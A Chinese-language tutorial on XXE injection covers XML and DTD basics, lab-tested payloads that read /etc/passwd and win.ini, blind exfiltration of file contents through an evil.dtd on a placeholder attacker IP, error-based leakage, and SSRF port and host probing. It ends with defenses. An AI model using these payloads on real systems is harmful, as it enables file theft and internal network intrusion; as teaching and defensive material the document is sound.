XXE&XML
字数 2044 2025-08-10 23:41:58
XXE漏洞全面解析与实战指南
1. XML基础
1.1 XML基础介绍
XML(可扩展标记语言)是一种用于存储和传输数据的标记语言,与HTML不同,XML专注于数据内容而非数据显示。
参考资源:
1.2 XML文档结构
XML文档由三部分组成:
- XML声明:
<?xml version="1.0"?> - DTD类型定义(可选)
- 文档元素
示例:
<!--XML声明-->
<?xml version="1.0"?>
<!--文档类型定义-->
<!DOCTYPE note [
<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>
]>
<!--文档元素-->
<note>
<to>Dave</to>
<from>Tom</from>
<heading>Reminder</heading>
<body>You are a good man</body>
</note>
1.3 DTD介绍
DTD(文档类型定义)用于定义XML文档的合法构建模块,可以内部声明或外部引用。
- 内部声明DTD:
<!DOCTYPE 根元素 [元素声明]> - 引用外部DTD:
<!DOCTYPE 根元素 SYSTEM "文件名">
关键DTD关键字:
DOCTYPE:DTD的声明ENTITY:实体的声明SYSTEM、PUBLIC:外部资源申请
1.4 实体类型
实体分为参数实体和普通实体:
-
参数实体:
- 声明:
<!ENTITY % 实体名称 "实体的值">或<!ENTITY % 实体名称 SYSTEM "URI"> - 引用:
%实体名称; - 只能在DTD中声明和引用
- 声明:
-
普通实体:
- 声明:
<!ENTITY 实体名称 "实体的值">或<!ENTITY 实体名称 SYSTEM "URI"> - 引用:
&实体名称; - 可在XML文档中引用
- 声明:
实体又可分为:
- 内部实体:值直接定义在DTD中
- 外部实体:值通过URI引用外部资源
1.5 外部实体
XXE漏洞主要利用外部实体引入,支持多种协议:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE a [
<!ENTITY content SYSTEM "file:///etc/passwd">
]>
<foo>
<value>&content;</value>
</foo>
常见支持协议:
file://- 本地文件系统http://- HTTP请求ftp://- FTP请求php://filter- PHP过滤器
2. XXE漏洞基础
2.1 基本概念
XXE(XML External Entity Injection)即XML外部实体注入漏洞,发生在应用程序解析XML输入时,没有禁止外部实体的加载。
2.2 漏洞危害
- 任意文件读取
- 服务器端请求伪造(SSRF)
- 内网端口扫描
- 命令执行(特定环境下)
- 拒绝服务攻击
2.3 输出形式
- 有回显:直接显示在响应中
- 无回显(Blind XXE):需要通过外带数据通道提取数据
2.4 XML与HTML差异
| 特性 | XML | HTML |
|---|---|---|
| 设计目的 | 传输和存储数据 | 显示数据 |
| 焦点 | 数据内容 | 数据外观 |
| 标签 | 自定义 | 预定义 |
3. XXE漏洞测试
3.1 有回显测试
使用xxe-labs靶场(GitHub)进行测试。
测试步骤:
- 确定回显位置
- 构建payload读取文件
示例payload:
<?xml version="1.0"?>
<!DOCTYPE test [
<!ENTITY name SYSTEM "file:///c:/windows/win.ini">
]>
<user>
<username>&name;</username>
<password>1</password>
</user>
3.2 无回显测试
使用外带数据通道(OOB)提取数据。
常规测试方法:
- 搭建攻击服务器
- 查看服务器访问日志
示例payload:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE ANY [
<!ENTITY % shit SYSTEM "http://攻击者IP/1.txt">
%shit;
]>
DNSlog测试方法:
使用Burp Collaborator或公开DNSlog服务。
示例payload:
<?xml version="1.0"?>
<!DOCTYPE ANY [
<!ENTITY % d SYSTEM "http://子域名.burpcollaborator.net">
%d;
]>
4. 任意文件读取
4.1 有回显案例
直接读取文件内容并显示。
payload:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY rabbit SYSTEM "file:///c:/windows/win.ini">
]>
<user>
<username>&rabbit;</username>
<password>123</password>
</user>
4.2 无回显案例
通过外带数据通道获取文件内容。
攻击服务器evil.dtd内容:
<!ENTITY % all "<!ENTITY % send SYSTEM 'http://攻击者IP/?data=%file;'>">
%all;
攻击payload:
<!DOCTYPE updateProfile [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///c:/windows/win.ini">
<!ENTITY % dtd SYSTEM "http://攻击者IP/evil.dtd">
%dtd;
%send;
]>
4.3 基于报错的案例
通过构造错误URL将数据包含在报错信息中。
evil.dtd内容:
<!ENTITY % start "<!ENTITY % send SYSTEM 'file:///不存在的路径/%file;'>">
%start;
攻击payload:
<?xml version="1.0"?>
<!DOCTYPE message [
<!ENTITY % remote SYSTEM "http://攻击者IP/evil.dtd">
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///c:/windows/win.ini">
%remote;
%send;
]>
<message>1234</message>
5. 内网探测
5.1 端口探测
通过响应时间判断端口是否开放。
示例payload:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "http://目标IP:端口" >
]>
<user>
<username>&xxe;</username>
<password>123456</password>
</user>
自动化测试:
使用Burp Intruder进行批量端口探测。
5.2 主机存活探测
原理与端口探测类似,去掉端口部分。
示例payload:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "http://目标IP" >
]>
<user>
<username>&xxe;</username>
<password>123456</password>
</user>
6. 其他利用技巧
6.1 更改Content-Type
当应用默认使用JSON时,可尝试修改Content-Type为application/xml或text/xml。
CTF示例(Jarvis-OJ-Web-XXE):
- 抓包修改Content-Type
- 替换JSON为XML payload
payload:
<?xml version="1.0"?>
<!DOCTYPE ANY [
<!ENTITY b SYSTEM "file:///etc/passwd">
]>
<x>&b;</x>
7. XXE漏洞防御
7.1 禁用外部实体
各语言禁用方法:
PHP:
libxml_disable_entity_loader(true);
Java:
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);
Python:
from lxml import etree
xmlData = etree.parse(xmlSource, etree.XMLParser(resolve_entities=False))
7.2 输入过滤
过滤用户提交的XML数据中的关键词:
<!DOCTYPE<!ENTITYSYSTEMPUBLIC
7.3 其他措施
- 使用JSON替代XML
- 使用较新的XML解析器(如libxml2 2.9+默认禁用外部实体)
- 实施严格的输入验证
- 配置WAF规则拦截XXE攻击